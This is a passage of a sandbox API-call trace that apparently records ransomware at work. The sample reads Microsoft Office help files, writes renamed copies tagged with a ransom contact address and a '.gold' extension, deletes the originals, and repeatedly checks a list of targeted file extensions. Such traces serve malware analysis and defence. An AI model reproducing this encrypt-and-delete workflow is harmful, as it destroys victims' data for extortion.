lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0102.132] SetEndOfFile (hFile=0x3bc) returned 1 [0102.132] CloseHandle (hObject=0x3bc) returned 1 [0102.133] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.133] SetEndOfFile (hFile=0x3b4) returned 1 [0102.134] CloseHandle (hObject=0x3b4) returned 1 [0102.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 1 [0102.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.299] lstrlenW (lpString=".doc") returned 4 [0102.299] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0102.299] lstrlenW (lpString=".docx") returned 5 [0102.299] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0102.299] lstrlenW (lpString=".pdf") returned 4 [0102.299] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0102.299] lstrlenW (lpString=".xls") returned 4 [0102.300] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString=".xlsx") returned 5 [0102.300] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0102.300] lstrlenW (lpString=".ppt") returned 4 [0102.300] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.300] lstrlenW (lpString=".zip") returned 4 [0102.300] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString=".rar") returned 4 [0102.300] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString=".bz2") returned 4 [0102.300] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0102.300] lstrlenW (lpString=".7z") returned 3 [0102.300] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0102.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.300] lstrlenW (lpString=".dbf") returned 4 [0102.300] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0102.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.300] lstrlenW (lpString=".1cd") returned 4 [0102.300] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0102.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.300] lstrlenW (lpString=".jpg") returned 4 [0102.300] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.300] lstrlenW (lpString=".doc") returned 4 [0102.300] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0102.300] lstrlenW (lpString=".docx") returned 5 [0102.300] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0102.300] lstrlenW (lpString=".pdf") returned 4 [0102.300] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString=".xls") returned 4 [0102.300] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString=".xlsx") returned 5 [0102.300] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0102.300] lstrlenW (lpString=".ppt") returned 4 [0102.300] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.300] lstrlenW (lpString=".zip") returned 4 [0102.300] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString=".rar") returned 4 [0102.300] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0102.300] lstrlenW (lpString=".bz2") returned 4 [0102.300] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0102.301] lstrlenW (lpString=".7z") returned 3 [0102.301] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0102.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.301] lstrlenW (lpString=".dbf") returned 4 [0102.301] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0102.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.301] lstrlenW (lpString=".1cd") returned 4 [0102.301] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0102.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC") returned 62 [0102.301] lstrlenW (lpString=".jpg") returned 4 [0102.301] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0102.301] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0102.301] lstrlenW (lpString="INFOPATHEDITOR.HXS") returned 18 [0102.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.302] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=432098) returned 1 [0102.302] CloseHandle (hObject=0x38c) returned 1 [0102.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 0x20 [0102.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.303] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.303] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.304] GetLastError () returned 0x0 [0102.304] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x697e2, lpOverlapped=0x0) returned 1 [0102.322] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x697f0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x697f0, lpOverlapped=0x0) returned 1 [0102.327] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.327] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0102.327] SetEndOfFile (hFile=0x398) returned 1 [0102.327] CloseHandle (hObject=0x398) returned 1 [0102.328] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.328] SetEndOfFile (hFile=0x38c) returned 1 [0102.335] CloseHandle (hObject=0x38c) returned 1 [0102.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor.hxs")) returned 1 [0102.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.336] lstrlenW (lpString=".doc") returned 4 [0102.336] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0102.336] lstrlenW (lpString=".docx") returned 5 [0102.336] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1 [0102.336] lstrlenW (lpString=".pdf") returned 4 [0102.336] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0102.336] lstrlenW (lpString=".xls") returned 4 [0102.336] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0102.336] lstrlenW (lpString=".xlsx") returned 5 [0102.336] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1 [0102.336] lstrlenW (lpString=".ppt") returned 4 [0102.336] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0102.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.336] lstrlenW (lpString=".zip") returned 4 [0102.336] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0102.336] lstrlenW (lpString=".rar") returned 4 [0102.336] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0102.336] lstrlenW (lpString=".bz2") returned 4 [0102.336] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0102.336] lstrlenW (lpString=".7z") returned 3 [0102.336] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0102.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.336] lstrlenW (lpString=".dbf") returned 4 [0102.336] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0102.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.336] lstrlenW (lpString=".1cd") returned 4 [0102.336] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0102.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.336] lstrlenW (lpString=".jpg") returned 4 [0102.336] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0102.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.336] lstrlenW (lpString=".doc") returned 4 [0102.336] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0102.336] lstrlenW (lpString=".docx") returned 5 [0102.336] lstrcmpiW (lpString1=".docx", lpString2="R.HXS") returned -1 [0102.337] lstrlenW (lpString=".pdf") returned 4 [0102.337] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0102.337] lstrlenW (lpString=".xls") returned 4 [0102.337] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0102.337] lstrlenW (lpString=".xlsx") returned 5 [0102.337] lstrcmpiW (lpString1=".xlsx", lpString2="R.HXS") returned -1 [0102.337] lstrlenW (lpString=".ppt") returned 4 [0102.337] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0102.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.337] lstrlenW (lpString=".zip") returned 4 [0102.337] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0102.337] lstrlenW (lpString=".rar") returned 4 [0102.337] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0102.337] lstrlenW (lpString=".bz2") returned 4 [0102.337] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0102.337] lstrlenW (lpString=".7z") returned 3 [0102.337] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0102.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.337] lstrlenW (lpString=".dbf") returned 4 [0102.337] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0102.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.337] lstrlenW (lpString=".1cd") returned 4 [0102.337] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0102.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR.HXS") returned 66 [0102.337] lstrlenW (lpString=".jpg") returned 4 [0102.337] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0102.337] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0102.337] lstrlenW (lpString="INFOPATHEDITOR_COL.HXC") returned 22 [0102.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.343] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=666) returned 1 [0102.343] CloseHandle (hObject=0x38c) returned 1 [0102.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 0x20 [0102.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0102.344] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.344] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.345] GetLastError () returned 0x0 [0102.345] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x29a, lpOverlapped=0x0) returned 1 [0102.875] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0102.875] ReadFile (in: hFile=0x38c, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.875] WriteFile (in: hFile=0x398, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x100, lpOverlapped=0x0) returned 1 [0102.876] SetEndOfFile (hFile=0x398) returned 1 [0102.876] CloseHandle (hObject=0x398) returned 1 [0102.876] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.876] SetEndOfFile (hFile=0x38c) returned 1 [0102.877] CloseHandle (hObject=0x38c) returned 1 [0102.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.879] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopatheditor_col.hxc")) returned 1 [0102.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.893] lstrlenW (lpString=".doc") returned 4 [0102.893] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0102.893] lstrlenW (lpString=".docx") returned 5 [0102.893] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0102.893] lstrlenW (lpString=".pdf") returned 4 [0102.893] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0102.893] lstrlenW (lpString=".xls") returned 4 [0102.893] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0102.893] lstrlenW (lpString=".xlsx") returned 5 [0102.893] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0102.893] lstrlenW (lpString=".ppt") returned 4 [0102.893] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0102.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.893] lstrlenW (lpString=".zip") returned 4 [0102.893] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0102.893] lstrlenW (lpString=".rar") returned 4 [0102.893] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0102.893] lstrlenW (lpString=".bz2") returned 4 [0102.893] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0102.893] lstrlenW (lpString=".7z") returned 3 [0102.893] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0102.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.893] lstrlenW (lpString=".dbf") returned 4 [0102.893] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0102.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.893] lstrlenW (lpString=".1cd") returned 4 [0102.893] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0102.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.893] lstrlenW (lpString=".jpg") returned 4 [0102.893] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0102.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.893] lstrlenW (lpString=".doc") returned 4 [0102.893] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0102.893] lstrlenW (lpString=".docx") returned 5 [0102.893] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0102.893] lstrlenW (lpString=".pdf") returned 4 [0102.893] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0102.893] lstrlenW (lpString=".xls") returned 4 [0102.893] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0102.893] lstrlenW (lpString=".xlsx") returned 5 [0102.893] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0102.894] lstrlenW (lpString=".ppt") returned 4 [0102.894] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0102.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.894] lstrlenW (lpString=".zip") returned 4 [0102.894] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0102.894] lstrlenW (lpString=".rar") returned 4 [0102.894] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0102.894] lstrlenW (lpString=".bz2") returned 4 [0102.894] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0102.894] lstrlenW (lpString=".7z") returned 3 [0102.894] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0102.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.894] lstrlenW (lpString=".dbf") returned 4 [0102.894] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0102.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.894] lstrlenW (lpString=".1cd") returned 4 [0102.894] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0102.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATHEDITOR_COL.HXC") returned 70 [0102.894] lstrlenW (lpString=".jpg") returned 4 [0102.894] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0102.894] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0102.894] lstrlenW (lpString="INFOPATH_COL.HXC") returned 16 [0102.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.895] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x301ff1c | out: lpFileSize=0x301ff1c*=636) returned 1 [0102.895] CloseHandle (hObject=0x398) returned 1 [0102.895] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 0x20 [0102.924] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0102.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0102.925] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.925] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0102.925] GetLastError () returned 0x0 [0102.925] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x27c, lpOverlapped=0x0) returned 1 [0102.927] WriteFile (in: hFile=0x3bc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0x280, lpOverlapped=0x0) returned 1 [0102.927] ReadFile (in: hFile=0x398, lpBuffer=0x4210020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fed4, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesRead=0x301fed4*=0x0, lpOverlapped=0x0) returned 1 [0102.927] WriteFile (in: hFile=0x3bc, lpBuffer=0x4210020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x301fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4210020*, lpNumberOfBytesWritten=0x301fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0102.927] SetEndOfFile (hFile=0x3bc) returned 1 [0102.928] CloseHandle (hObject=0x3bc) returned 1 [0102.928] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec8 | out: lpNewFilePointer=0x0) returned 1 [0102.928] SetEndOfFile (hFile=0x398) returned 1 [0102.929] CloseHandle (hObject=0x398) returned 1 [0102.929] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0102.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\INFOPATH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\infopath_col.hxc")) returned 1 [0102.930] lstrlenW (lpString="C:\\Program 